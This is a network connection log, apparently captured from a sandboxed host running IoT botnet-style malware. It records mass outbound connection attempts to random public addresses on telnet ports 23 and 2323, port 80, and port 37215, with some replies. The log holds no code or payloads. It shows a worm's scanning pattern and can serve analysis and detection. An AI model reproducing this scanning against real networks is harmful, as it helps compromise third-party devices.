Feb 19, 2025 19:43:18.002540112 CET	24754	23	192.168.2.13	172.247.91.225
Feb 19, 2025 19:43:18.002543926 CET	24754	23	192.168.2.13	200.211.204.210
Feb 19, 2025 19:43:18.002540112 CET	24754	23	192.168.2.13	53.26.31.43
Feb 19, 2025 19:43:18.002543926 CET	24754	23	192.168.2.13	191.72.252.99
Feb 19, 2025 19:43:18.002540112 CET	24754	23	192.168.2.13	135.204.10.167
Feb 19, 2025 19:43:18.002557039 CET	24754	23	192.168.2.13	176.21.32.239
Feb 19, 2025 19:43:18.002545118 CET	24754	23	192.168.2.13	116.249.173.115
Feb 19, 2025 19:43:18.002557039 CET	24754	23	192.168.2.13	1.36.180.134
Feb 19, 2025 19:43:18.002562046 CET	24754	23	192.168.2.13	187.74.115.106
Feb 19, 2025 19:43:18.002562046 CET	24754	23	192.168.2.13	162.232.111.59
Feb 19, 2025 19:43:18.002563000 CET	24754	23	192.168.2.13	216.10.101.125
Feb 19, 2025 19:43:18.002563000 CET	24754	23	192.168.2.13	174.247.218.144
Feb 19, 2025 19:43:18.002563953 CET	24754	23	192.168.2.13	90.172.206.199
Feb 19, 2025 19:43:18.002564907 CET	24754	23	192.168.2.13	137.210.145.243
Feb 19, 2025 19:43:18.002563953 CET	24754	23	192.168.2.13	35.25.244.133
Feb 19, 2025 19:43:18.002564907 CET	24754	2323	192.168.2.13	202.189.104.124
Feb 19, 2025 19:43:18.002564907 CET	24754	23	192.168.2.13	9.176.3.168
Feb 19, 2025 19:43:18.002567053 CET	24754	23	192.168.2.13	52.121.45.206
Feb 19, 2025 19:43:18.002567053 CET	24754	23	192.168.2.13	39.78.154.11
Feb 19, 2025 19:43:18.002567053 CET	24754	2323	192.168.2.13	101.83.3.255
Feb 19, 2025 19:43:18.002567053 CET	24754	23	192.168.2.13	156.32.145.143
Feb 19, 2025 19:43:18.002567053 CET	24754	23	192.168.2.13	79.179.156.217
Feb 19, 2025 19:43:18.002576113 CET	24754	23	192.168.2.13	14.36.51.112
Feb 19, 2025 19:43:18.002577066 CET	24754	23	192.168.2.13	126.177.8.111
Feb 19, 2025 19:43:18.002578974 CET	24754	23	192.168.2.13	38.138.23.3
Feb 19, 2025 19:43:18.002578974 CET	24754	23	192.168.2.13	220.238.156.14
Feb 19, 2025 19:43:18.002578974 CET	24754	23	192.168.2.13	36.25.249.65
Feb 19, 2025 19:43:18.002583981 CET	24754	23	192.168.2.13	19.231.192.174
Feb 19, 2025 19:43:18.002587080 CET	24754	23	192.168.2.13	8.54.183.123
Feb 19, 2025 19:43:18.002588987 CET	24754	23	192.168.2.13	2.96.198.68
Feb 19, 2025 19:43:18.002587080 CET	24754	23	192.168.2.13	124.65.166.112
Feb 19, 2025 19:43:18.002588987 CET	24754	23	192.168.2.13	157.88.173.114
Feb 19, 2025 19:43:18.002587080 CET	24754	23	192.168.2.13	5.72.224.175
Feb 19, 2025 19:43:18.002588987 CET	24754	23	192.168.2.13	64.196.95.116
Feb 19, 2025 19:43:18.002600908 CET	24754	23	192.168.2.13	222.108.114.202
Feb 19, 2025 19:43:18.002600908 CET	24754	23	192.168.2.13	84.232.7.3
Feb 19, 2025 19:43:18.002610922 CET	24754	2323	192.168.2.13	42.253.185.12
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	76.19.108.177
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	84.126.118.138
Feb 19, 2025 19:43:18.002619028 CET	24754	23	192.168.2.13	150.19.23.22
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	69.15.2.150
Feb 19, 2025 19:43:18.002619028 CET	24754	2323	192.168.2.13	216.58.162.2
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	136.43.36.159
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	38.128.119.250
Feb 19, 2025 19:43:18.002619028 CET	24754	23	192.168.2.13	50.44.16.203
Feb 19, 2025 19:43:18.002625942 CET	24754	23	192.168.2.13	205.189.26.119
Feb 19, 2025 19:43:18.002618074 CET	24754	2323	192.168.2.13	32.219.77.11
Feb 19, 2025 19:43:18.002625942 CET	24754	23	192.168.2.13	118.35.56.173
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	132.68.162.152
Feb 19, 2025 19:43:18.002629042 CET	24754	23	192.168.2.13	103.254.88.225
Feb 19, 2025 19:43:18.002618074 CET	24754	23	192.168.2.13	115.2.91.54
Feb 19, 2025 19:43:18.002625942 CET	24754	23	192.168.2.13	110.113.77.81
Feb 19, 2025 19:43:18.002629042 CET	24754	23	192.168.2.13	149.153.201.154
Feb 19, 2025 19:43:18.002625942 CET	24754	23	192.168.2.13	156.190.209.142
Feb 19, 2025 19:43:18.002619028 CET	24754	23	192.168.2.13	189.202.35.203
Feb 19, 2025 19:43:18.002640963 CET	24754	23	192.168.2.13	176.131.233.241
Feb 19, 2025 19:43:18.002619028 CET	24754	23	192.168.2.13	80.112.171.103
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	167.39.48.21
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	193.66.198.120
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	143.211.152.70
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	209.253.187.49
Feb 19, 2025 19:43:18.002650976 CET	24754	23	192.168.2.13	159.120.46.79
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	174.11.7.88
Feb 19, 2025 19:43:18.002650976 CET	24754	23	192.168.2.13	51.89.28.7
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	217.68.83.87
Feb 19, 2025 19:43:18.002650976 CET	24754	23	192.168.2.13	5.229.80.177
Feb 19, 2025 19:43:18.002650023 CET	24754	23	192.168.2.13	179.51.86.143
Feb 19, 2025 19:43:18.002665043 CET	24754	23	192.168.2.13	85.212.244.172
Feb 19, 2025 19:43:18.002665043 CET	24754	23	192.168.2.13	189.37.54.244
Feb 19, 2025 19:43:18.002669096 CET	24754	23	192.168.2.13	81.212.108.240
Feb 19, 2025 19:43:18.002669096 CET	24754	2323	192.168.2.13	94.144.253.180
Feb 19, 2025 19:43:18.002669096 CET	24754	2323	192.168.2.13	108.114.158.248
Feb 19, 2025 19:43:18.002670050 CET	24754	23	192.168.2.13	144.238.189.101
Feb 19, 2025 19:43:18.002670050 CET	24754	23	192.168.2.13	147.43.3.73
Feb 19, 2025 19:43:18.002670050 CET	24754	23	192.168.2.13	154.54.211.107
Feb 19, 2025 19:43:18.002671003 CET	24754	23	192.168.2.13	68.122.13.212
Feb 19, 2025 19:43:18.002670050 CET	24754	2323	192.168.2.13	185.56.36.135
Feb 19, 2025 19:43:18.002672911 CET	24754	23	192.168.2.13	163.169.186.62
Feb 19, 2025 19:43:18.002671003 CET	24754	23	192.168.2.13	158.48.54.130
Feb 19, 2025 19:43:18.002670050 CET	24754	23	192.168.2.13	1.21.3.74
Feb 19, 2025 19:43:18.002671003 CET	24754	23	192.168.2.13	151.118.29.57
Feb 19, 2025 19:43:18.002671003 CET	24754	23	192.168.2.13	149.10.224.75
Feb 19, 2025 19:43:18.002670050 CET	24754	23	192.168.2.13	43.25.125.130
Feb 19, 2025 19:43:18.002671003 CET	24754	23	192.168.2.13	74.179.210.29
Feb 19, 2025 19:43:18.002672911 CET	24754	23	192.168.2.13	209.88.89.161
Feb 19, 2025 19:43:18.002682924 CET	24754	23	192.168.2.13	81.173.87.43
Feb 19, 2025 19:43:18.002682924 CET	24754	23	192.168.2.13	62.240.202.210
Feb 19, 2025 19:43:18.002691984 CET	24754	23	192.168.2.13	172.4.220.227
Feb 19, 2025 19:43:18.002692938 CET	24754	23	192.168.2.13	163.251.170.136
Feb 19, 2025 19:43:18.002692938 CET	24754	23	192.168.2.13	174.226.39.151
Feb 19, 2025 19:43:18.002692938 CET	24754	23	192.168.2.13	115.111.153.87
Feb 19, 2025 19:43:18.002692938 CET	24754	23	192.168.2.13	197.58.20.89
Feb 19, 2025 19:43:18.002692938 CET	24754	23	192.168.2.13	153.81.129.94
Feb 19, 2025 19:43:18.002693892 CET	24754	23	192.168.2.13	150.141.199.175
Feb 19, 2025 19:43:18.002692938 CET	24754	23	192.168.2.13	66.58.1.226
Feb 19, 2025 19:43:18.002696991 CET	24754	23	192.168.2.13	54.185.56.162
Feb 19, 2025 19:43:18.002696991 CET	24754	23	192.168.2.13	50.105.186.122
Feb 19, 2025 19:43:18.002696991 CET	24754	23	192.168.2.13	50.56.230.242
Feb 19, 2025 19:43:18.002708912 CET	24754	23	192.168.2.13	219.49.210.6
Feb 19, 2025 19:43:18.002712965 CET	24754	23	192.168.2.13	167.241.243.130
Feb 19, 2025 19:43:18.002712965 CET	24754	23	192.168.2.13	194.62.207.56
Feb 19, 2025 19:43:18.002712965 CET	24754	23	192.168.2.13	32.27.52.206
Feb 19, 2025 19:43:18.002712965 CET	24754	23	192.168.2.13	5.196.22.171
Feb 19, 2025 19:43:18.002712965 CET	24754	23	192.168.2.13	176.78.26.233
Feb 19, 2025 19:43:18.002720118 CET	24754	23	192.168.2.13	44.210.192.162
Feb 19, 2025 19:43:18.002721071 CET	24754	23	192.168.2.13	149.143.173.142
Feb 19, 2025 19:43:18.002721071 CET	24754	23	192.168.2.13	188.94.190.20
Feb 19, 2025 19:43:18.002721071 CET	24754	23	192.168.2.13	64.112.58.118
Feb 19, 2025 19:43:18.002722025 CET	24754	23	192.168.2.13	205.186.87.230
Feb 19, 2025 19:43:18.002723932 CET	24754	23	192.168.2.13	134.20.90.109
Feb 19, 2025 19:43:18.002723932 CET	24754	23	192.168.2.13	67.80.118.220
Feb 19, 2025 19:43:18.002723932 CET	24754	23	192.168.2.13	110.213.195.6
Feb 19, 2025 19:43:18.002723932 CET	24754	23	192.168.2.13	222.214.79.78
Feb 19, 2025 19:43:18.002726078 CET	24754	2323	192.168.2.13	27.199.172.69
Feb 19, 2025 19:43:18.002726078 CET	24754	23	192.168.2.13	48.49.54.142
Feb 19, 2025 19:43:18.002726078 CET	24754	23	192.168.2.13	122.57.205.252
Feb 19, 2025 19:43:18.002726078 CET	24754	2323	192.168.2.13	158.199.225.223
Feb 19, 2025 19:43:18.002726078 CET	24754	23	192.168.2.13	4.120.197.54
Feb 19, 2025 19:43:18.002726078 CET	24754	23	192.168.2.13	218.118.14.183
Feb 19, 2025 19:43:18.002726078 CET	24754	23	192.168.2.13	86.253.215.205
Feb 19, 2025 19:43:18.002727032 CET	24754	2323	192.168.2.13	105.200.67.245
Feb 19, 2025 19:43:18.002733946 CET	24754	23	192.168.2.13	57.112.72.104
Feb 19, 2025 19:43:18.002736092 CET	24754	2323	192.168.2.13	216.126.3.145
Feb 19, 2025 19:43:18.002736092 CET	24754	23	192.168.2.13	213.121.200.254
Feb 19, 2025 19:43:18.002737999 CET	24754	23	192.168.2.13	35.181.75.129
Feb 19, 2025 19:43:18.002742052 CET	24754	23	192.168.2.13	141.190.199.96
Feb 19, 2025 19:43:18.002742052 CET	24754	23	192.168.2.13	97.40.122.208
Feb 19, 2025 19:43:18.002742052 CET	24754	23	192.168.2.13	139.89.93.222
Feb 19, 2025 19:43:18.002742052 CET	24754	23	192.168.2.13	161.210.141.105
Feb 19, 2025 19:43:18.002742052 CET	39278	80	192.168.2.13	112.100.240.7
Feb 19, 2025 19:43:18.002748013 CET	36016	80	192.168.2.13	112.194.77.192
Feb 19, 2025 19:43:18.002748013 CET	32914	80	192.168.2.13	112.150.63.186
Feb 19, 2025 19:43:18.002748013 CET	35708	80	192.168.2.13	112.252.115.111
Feb 19, 2025 19:43:18.002748966 CET	41860	80	192.168.2.13	112.67.20.84
Feb 19, 2025 19:43:18.002752066 CET	56824	80	192.168.2.13	112.175.25.182
Feb 19, 2025 19:43:18.002752066 CET	42768	80	192.168.2.13	112.186.239.83
Feb 19, 2025 19:43:18.002753019 CET	40814	80	192.168.2.13	112.238.165.30
Feb 19, 2025 19:43:18.002757072 CET	43570	80	192.168.2.13	112.181.184.188
Feb 19, 2025 19:43:18.002769947 CET	24754	23	192.168.2.13	168.134.4.151
Feb 19, 2025 19:43:18.002772093 CET	60390	80	192.168.2.13	112.193.166.37
Feb 19, 2025 19:43:18.002773046 CET	24754	23	192.168.2.13	165.204.75.110
Feb 19, 2025 19:43:18.002777100 CET	24754	23	192.168.2.13	65.95.233.189
Feb 19, 2025 19:43:18.002784014 CET	24754	23	192.168.2.13	76.47.209.118
Feb 19, 2025 19:43:18.002784014 CET	24754	23	192.168.2.13	168.117.97.230
Feb 19, 2025 19:43:18.002784967 CET	24754	23	192.168.2.13	185.119.74.35
Feb 19, 2025 19:43:18.002784967 CET	24754	23	192.168.2.13	146.33.89.163
Feb 19, 2025 19:43:18.002794981 CET	24754	2323	192.168.2.13	130.178.39.171
Feb 19, 2025 19:43:18.002796888 CET	24754	23	192.168.2.13	125.115.13.150
Feb 19, 2025 19:43:18.002800941 CET	24754	23	192.168.2.13	132.116.233.15
Feb 19, 2025 19:43:18.002800941 CET	24754	23	192.168.2.13	146.227.118.153
Feb 19, 2025 19:43:18.002801895 CET	24754	23	192.168.2.13	159.236.5.11
Feb 19, 2025 19:43:18.002801895 CET	24754	23	192.168.2.13	60.151.180.12
Feb 19, 2025 19:43:18.002801895 CET	24754	23	192.168.2.13	172.204.153.253
Feb 19, 2025 19:43:18.002801895 CET	24754	23	192.168.2.13	148.43.140.164
Feb 19, 2025 19:43:18.002801895 CET	24754	23	192.168.2.13	181.18.63.205
Feb 19, 2025 19:43:18.002801895 CET	24754	23	192.168.2.13	99.154.104.134
Feb 19, 2025 19:43:18.002813101 CET	24754	23	192.168.2.13	60.98.181.27
Feb 19, 2025 19:43:18.002814054 CET	24754	23	192.168.2.13	42.150.129.211
Feb 19, 2025 19:43:18.002813101 CET	24754	23	192.168.2.13	211.223.140.117
Feb 19, 2025 19:43:18.002814054 CET	24754	23	192.168.2.13	216.46.71.221
Feb 19, 2025 19:43:18.002821922 CET	24754	2323	192.168.2.13	93.73.215.144
Feb 19, 2025 19:43:18.002829075 CET	24754	23	192.168.2.13	106.239.43.103
Feb 19, 2025 19:43:18.002832890 CET	24754	23	192.168.2.13	200.55.139.172
Feb 19, 2025 19:43:18.002832890 CET	24754	23	192.168.2.13	140.180.35.214
Feb 19, 2025 19:43:18.002832890 CET	24754	23	192.168.2.13	161.23.130.24
Feb 19, 2025 19:43:18.002835035 CET	24754	2323	192.168.2.13	143.206.223.9
Feb 19, 2025 19:43:18.002837896 CET	24754	23	192.168.2.13	220.158.115.160
Feb 19, 2025 19:43:18.002837896 CET	24754	23	192.168.2.13	139.50.248.234
Feb 19, 2025 19:43:18.002846003 CET	80	56800	112.53.42.70	192.168.2.13
Feb 19, 2025 19:43:18.002897978 CET	34672	37215	192.168.2.13	41.58.178.23
Feb 19, 2025 19:43:18.002911091 CET	58106	37215	192.168.2.13	41.174.20.98
Feb 19, 2025 19:43:18.002937078 CET	51566	37215	192.168.2.13	41.71.193.225
Feb 19, 2025 19:43:18.002949953 CET	57162	37215	192.168.2.13	41.63.9.111
Feb 19, 2025 19:43:18.002954960 CET	59300	37215	192.168.2.13	41.37.75.83
Feb 19, 2025 19:43:18.002965927 CET	40386	37215	192.168.2.13	41.245.93.82
Feb 19, 2025 19:43:18.002979040 CET	51544	37215	192.168.2.13	41.65.4.133
Feb 19, 2025 19:43:18.002988100 CET	39420	37215	192.168.2.13	41.29.48.183
Feb 19, 2025 19:43:18.003004074 CET	58698	37215	192.168.2.13	41.41.222.182
Feb 19, 2025 19:43:18.003017902 CET	39554	37215	192.168.2.13	41.61.7.237
Feb 19, 2025 19:43:18.003031969 CET	35886	37215	192.168.2.13	41.103.177.245
Feb 19, 2025 19:43:18.006575108 CET	80	47074	112.173.209.82	192.168.2.13
Feb 19, 2025 19:43:18.006588936 CET	80	50934	112.95.244.68	192.168.2.13
Feb 19, 2025 19:43:18.007219076 CET	2323	24754	36.2.110.223	192.168.2.13
Feb 19, 2025 19:43:18.007234097 CET	23	24754	70.253.251.78	192.168.2.13
Feb 19, 2025 19:43:18.007246971 CET	23	24754	183.101.26.91	192.168.2.13
Feb 19, 2025 19:43:18.007278919 CET	24754	2323	192.168.2.13	36.2.110.223
Feb 19, 2025 19:43:18.007292986 CET	24754	23	192.168.2.13	183.101.26.91
Feb 19, 2025 19:43:18.007339001 CET	24754	23	192.168.2.13	70.253.251.78
Feb 19, 2025 19:43:18.007426977 CET	23	24754	122.164.125.175	192.168.2.13
Feb 19, 2025 19:43:18.007441998 CET	23	24754	96.65.132.21	192.168.2.13
Feb 19, 2025 19:43:18.007456064 CET	23	24754	172.46.117.178	192.168.2.13
Feb 19, 2025 19:43:18.007468939 CET	24754	23	192.168.2.13	122.164.125.175
Feb 19, 2025 19:43:18.007468939 CET	23	24754	218.127.102.182	192.168.2.13
Feb 19, 2025 19:43:18.007492065 CET	24754	23	192.168.2.13	96.65.132.21
Feb 19, 2025 19:43:18.007497072 CET	24754	23	192.168.2.13	172.46.117.178
Feb 19, 2025 19:43:18.007514954 CET	24754	23	192.168.2.13	218.127.102.182
Feb 19, 2025 19:43:18.007746935 CET	23	24754	185.79.232.209	192.168.2.13
Feb 19, 2025 19:43:18.007931948 CET	24754	23	192.168.2.13	185.79.232.209
Feb 19, 2025 19:43:18.007936001 CET	23	24754	104.83.157.56	192.168.2.13
Feb 19, 2025 19:43:18.007950068 CET	23	24754	151.172.204.60	192.168.2.13
Feb 19, 2025 19:43:18.007981062 CET	2323	24754	201.168.146.77	192.168.2.13
Feb 19, 2025 19:43:18.007981062 CET	24754	23	192.168.2.13	104.83.157.56
Feb 19, 2025 19:43:18.007997036 CET	24754	23	192.168.2.13	151.172.204.60
Feb 19, 2025 19:43:18.008023977 CET	24754	2323	192.168.2.13	201.168.146.77
Feb 19, 2025 19:43:18.018543959 CET	80	38352	112.55.84.21	192.168.2.13
Feb 19, 2025 19:43:18.018599033 CET	80	51404	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:18.018645048 CET	80	44534	112.126.188.55	192.168.2.13
Feb 19, 2025 19:43:18.026626110 CET	37215	48738	41.136.189.146	192.168.2.13
Feb 19, 2025 19:43:18.026640892 CET	80	34848	112.69.153.183	192.168.2.13
Feb 19, 2025 19:43:18.026654005 CET	37215	60438	41.152.169.55	192.168.2.13
Feb 19, 2025 19:43:18.026668072 CET	37215	44096	41.168.82.214	192.168.2.13
Feb 19, 2025 19:43:18.026680946 CET	80	57752	112.114.189.188	192.168.2.13
Feb 19, 2025 19:43:18.026705027 CET	37215	37436	41.59.4.209	192.168.2.13
Feb 19, 2025 19:43:18.026717901 CET	37215	37962	41.126.18.90	192.168.2.13
Feb 19, 2025 19:43:18.026730061 CET	80	58426	112.75.195.217	192.168.2.13
Feb 19, 2025 19:43:18.026742935 CET	80	49910	112.41.67.178	192.168.2.13
Feb 19, 2025 19:43:18.026756048 CET	80	56524	112.67.32.40	192.168.2.13
Feb 19, 2025 19:43:18.034585953 CET	80	55362	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:18.034600019 CET	80	33992	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:18.034610987 CET	80	35108	112.28.151.176	192.168.2.13
Feb 19, 2025 19:43:18.034744024 CET	56024	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:18.034751892 CET	49976	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:18.034750938 CET	49726	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:18.034750938 CET	33424	80	192.168.2.13	112.12.26.230
Feb 19, 2025 19:43:18.034754992 CET	49644	80	192.168.2.13	112.66.83.94
Feb 19, 2025 19:43:18.034764051 CET	59140	80	192.168.2.13	112.211.168.134
Feb 19, 2025 19:43:18.034779072 CET	53004	80	192.168.2.13	112.212.25.130
Feb 19, 2025 19:43:18.034796000 CET	40842	80	192.168.2.13	112.22.40.180
Feb 19, 2025 19:43:18.034799099 CET	35094	80	192.168.2.13	112.188.188.56
Feb 19, 2025 19:43:18.034806013 CET	37296	80	192.168.2.13	112.51.225.43
Feb 19, 2025 19:43:18.034832954 CET	36250	80	192.168.2.13	112.73.239.49
Feb 19, 2025 19:43:18.034833908 CET	57478	80	192.168.2.13	112.11.65.56
Feb 19, 2025 19:43:18.034857035 CET	51364	80	192.168.2.13	112.76.6.67
Feb 19, 2025 19:43:18.034862995 CET	56268	37215	192.168.2.13	41.41.234.11
Feb 19, 2025 19:43:18.034877062 CET	47086	37215	192.168.2.13	41.241.9.200
Feb 19, 2025 19:43:18.034895897 CET	38864	37215	192.168.2.13	41.118.125.119
Feb 19, 2025 19:43:18.034909964 CET	51802	37215	192.168.2.13	41.122.238.73
Feb 19, 2025 19:43:18.034934044 CET	46220	37215	192.168.2.13	41.64.123.254
Feb 19, 2025 19:43:18.034934044 CET	58978	37215	192.168.2.13	41.62.16.240
Feb 19, 2025 19:43:18.034955978 CET	50116	37215	192.168.2.13	41.247.254.246
Feb 19, 2025 19:43:18.035109043 CET	42690	37215	192.168.2.13	41.42.27.91
Feb 19, 2025 19:43:18.035109043 CET	48250	37215	192.168.2.13	41.194.36.134
Feb 19, 2025 19:43:18.039820910 CET	37215	56024	41.43.243.254	192.168.2.13
Feb 19, 2025 19:43:18.039860964 CET	80	49726	112.70.136.137	192.168.2.13
Feb 19, 2025 19:43:18.039874077 CET	80	49976	112.83.57.35	192.168.2.13
Feb 19, 2025 19:43:18.039894104 CET	56024	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:18.039922953 CET	49726	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:18.039935112 CET	49976	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:18.040045977 CET	27058	80	192.168.2.13	95.87.141.187
Feb 19, 2025 19:43:18.040047884 CET	27058	80	192.168.2.13	95.23.125.70
Feb 19, 2025 19:43:18.040060997 CET	27058	80	192.168.2.13	95.46.233.228
Feb 19, 2025 19:43:18.040100098 CET	27058	80	192.168.2.13	95.57.248.212
Feb 19, 2025 19:43:18.040112972 CET	27058	80	192.168.2.13	95.159.220.220
Feb 19, 2025 19:43:18.040116072 CET	27058	80	192.168.2.13	95.213.199.208
Feb 19, 2025 19:43:18.040139914 CET	27058	80	192.168.2.13	95.93.185.226
Feb 19, 2025 19:43:18.040146112 CET	27058	80	192.168.2.13	95.109.177.12
Feb 19, 2025 19:43:18.040167093 CET	27058	80	192.168.2.13	95.163.190.145
Feb 19, 2025 19:43:18.040167093 CET	27314	37215	192.168.2.13	197.207.130.206
Feb 19, 2025 19:43:18.040167093 CET	27058	80	192.168.2.13	95.120.249.60
Feb 19, 2025 19:43:18.040167093 CET	27058	80	192.168.2.13	95.40.160.44
Feb 19, 2025 19:43:18.040168047 CET	27058	80	192.168.2.13	95.194.191.81
Feb 19, 2025 19:43:18.040174007 CET	27058	80	192.168.2.13	95.129.26.36
Feb 19, 2025 19:43:18.040182114 CET	27058	80	192.168.2.13	95.75.87.108
Feb 19, 2025 19:43:18.040194035 CET	27058	80	192.168.2.13	95.146.235.222
Feb 19, 2025 19:43:18.040194988 CET	27314	37215	192.168.2.13	197.126.127.165
Feb 19, 2025 19:43:18.040211916 CET	27058	80	192.168.2.13	95.137.222.17
Feb 19, 2025 19:43:18.040224075 CET	27058	80	192.168.2.13	95.191.9.45
Feb 19, 2025 19:43:18.040230989 CET	27314	37215	192.168.2.13	197.228.8.101
Feb 19, 2025 19:43:18.040250063 CET	27058	80	192.168.2.13	95.178.21.208
Feb 19, 2025 19:43:18.040270090 CET	27314	37215	192.168.2.13	197.163.128.210
Feb 19, 2025 19:43:18.040271044 CET	27058	80	192.168.2.13	95.100.65.201
Feb 19, 2025 19:43:18.040277958 CET	27314	37215	192.168.2.13	197.246.79.64
Feb 19, 2025 19:43:18.040278912 CET	27058	80	192.168.2.13	95.144.71.71
Feb 19, 2025 19:43:18.040290117 CET	27058	80	192.168.2.13	95.223.150.131
Feb 19, 2025 19:43:18.040290117 CET	27058	80	192.168.2.13	95.204.151.193
Feb 19, 2025 19:43:18.040296078 CET	27058	80	192.168.2.13	95.25.129.130
Feb 19, 2025 19:43:18.040297031 CET	27314	37215	192.168.2.13	197.251.97.2
Feb 19, 2025 19:43:18.040297985 CET	27058	80	192.168.2.13	95.241.30.21
Feb 19, 2025 19:43:18.040303946 CET	27314	37215	192.168.2.13	197.20.181.105
Feb 19, 2025 19:43:18.040306091 CET	27058	80	192.168.2.13	95.133.16.78
Feb 19, 2025 19:43:18.040306091 CET	27058	80	192.168.2.13	95.120.210.96
Feb 19, 2025 19:43:18.040306091 CET	27058	80	192.168.2.13	95.230.103.162
Feb 19, 2025 19:43:18.040328026 CET	27058	80	192.168.2.13	95.237.144.43
Feb 19, 2025 19:43:18.040333033 CET	27058	80	192.168.2.13	95.1.139.240
Feb 19, 2025 19:43:18.040333033 CET	27314	37215	192.168.2.13	197.170.30.193
Feb 19, 2025 19:43:18.040344954 CET	27058	80	192.168.2.13	95.162.72.155
Feb 19, 2025 19:43:18.040349007 CET	27314	37215	192.168.2.13	197.27.209.41
Feb 19, 2025 19:43:18.040361881 CET	27058	80	192.168.2.13	95.70.188.173
Feb 19, 2025 19:43:18.040363073 CET	27058	80	192.168.2.13	95.182.193.107
Feb 19, 2025 19:43:18.040364027 CET	27314	37215	192.168.2.13	197.65.155.85
Feb 19, 2025 19:43:18.040379047 CET	27314	37215	192.168.2.13	197.194.206.39
Feb 19, 2025 19:43:18.040383101 CET	27058	80	192.168.2.13	95.33.147.63
Feb 19, 2025 19:43:18.040395021 CET	27314	37215	192.168.2.13	197.177.211.220
Feb 19, 2025 19:43:18.040396929 CET	27058	80	192.168.2.13	95.15.68.99
Feb 19, 2025 19:43:18.040401936 CET	27058	80	192.168.2.13	95.25.57.198
Feb 19, 2025 19:43:18.040414095 CET	27314	37215	192.168.2.13	197.149.224.39
Feb 19, 2025 19:43:18.040420055 CET	27058	80	192.168.2.13	95.166.168.83
Feb 19, 2025 19:43:18.040431976 CET	27058	80	192.168.2.13	95.1.44.113
Feb 19, 2025 19:43:18.040431976 CET	27058	80	192.168.2.13	95.111.161.222
Feb 19, 2025 19:43:18.040456057 CET	27314	37215	192.168.2.13	197.23.52.99
Feb 19, 2025 19:43:18.040457010 CET	27058	80	192.168.2.13	95.230.132.120
Feb 19, 2025 19:43:18.040484905 CET	27058	80	192.168.2.13	95.165.233.80
Feb 19, 2025 19:43:18.040484905 CET	27058	80	192.168.2.13	95.206.75.215
Feb 19, 2025 19:43:18.040488005 CET	27314	37215	192.168.2.13	197.183.30.9
Feb 19, 2025 19:43:18.040488005 CET	27058	80	192.168.2.13	95.142.89.161
Feb 19, 2025 19:43:18.040501118 CET	27058	80	192.168.2.13	95.157.175.164
Feb 19, 2025 19:43:18.040528059 CET	27314	37215	192.168.2.13	197.9.7.126
Feb 19, 2025 19:43:18.040529013 CET	27058	80	192.168.2.13	95.143.187.107
Feb 19, 2025 19:43:18.040528059 CET	27314	37215	192.168.2.13	197.176.22.49
Feb 19, 2025 19:43:18.040528059 CET	27058	80	192.168.2.13	95.3.135.13
Feb 19, 2025 19:43:18.040549040 CET	27058	80	192.168.2.13	95.255.25.57
Feb 19, 2025 19:43:18.040551901 CET	27314	37215	192.168.2.13	197.19.165.45
Feb 19, 2025 19:43:18.040565014 CET	27058	80	192.168.2.13	95.17.103.221
Feb 19, 2025 19:43:18.040570021 CET	27058	80	192.168.2.13	95.238.236.248
Feb 19, 2025 19:43:18.040575027 CET	27314	37215	192.168.2.13	197.202.83.47
Feb 19, 2025 19:43:18.040589094 CET	27058	80	192.168.2.13	95.175.72.120
Feb 19, 2025 19:43:18.040595055 CET	27314	37215	192.168.2.13	197.22.205.7
Feb 19, 2025 19:43:18.040597916 CET	27058	80	192.168.2.13	95.42.197.169
Feb 19, 2025 19:43:18.040610075 CET	27058	80	192.168.2.13	95.83.228.102
Feb 19, 2025 19:43:18.040616035 CET	27058	80	192.168.2.13	95.160.145.127
Feb 19, 2025 19:43:18.040622950 CET	27314	37215	192.168.2.13	197.247.11.189
Feb 19, 2025 19:43:18.040625095 CET	27058	80	192.168.2.13	95.3.171.32
Feb 19, 2025 19:43:18.040640116 CET	27314	37215	192.168.2.13	197.121.23.103
Feb 19, 2025 19:43:18.040640116 CET	27058	80	192.168.2.13	95.95.21.41
Feb 19, 2025 19:43:18.040641069 CET	27058	80	192.168.2.13	95.83.246.178
Feb 19, 2025 19:43:18.040661097 CET	27314	37215	192.168.2.13	197.109.102.35
Feb 19, 2025 19:43:18.040664911 CET	27058	80	192.168.2.13	95.73.11.135
Feb 19, 2025 19:43:18.040677071 CET	27314	37215	192.168.2.13	197.246.121.254
Feb 19, 2025 19:43:18.040682077 CET	27058	80	192.168.2.13	95.99.231.89
Feb 19, 2025 19:43:18.040682077 CET	27058	80	192.168.2.13	95.71.198.248
Feb 19, 2025 19:43:18.040688992 CET	27058	80	192.168.2.13	95.182.45.28
Feb 19, 2025 19:43:18.040697098 CET	27314	37215	192.168.2.13	197.140.38.128
Feb 19, 2025 19:43:18.040698051 CET	27058	80	192.168.2.13	95.133.7.130
Feb 19, 2025 19:43:18.040710926 CET	27058	80	192.168.2.13	95.95.167.153
Feb 19, 2025 19:43:18.040726900 CET	27058	80	192.168.2.13	95.87.254.234
Feb 19, 2025 19:43:18.040729046 CET	27314	37215	192.168.2.13	197.211.114.63
Feb 19, 2025 19:43:18.040747881 CET	27058	80	192.168.2.13	95.196.142.202
Feb 19, 2025 19:43:18.040755987 CET	27058	80	192.168.2.13	95.204.211.219
Feb 19, 2025 19:43:18.040755987 CET	27314	37215	192.168.2.13	197.204.225.251
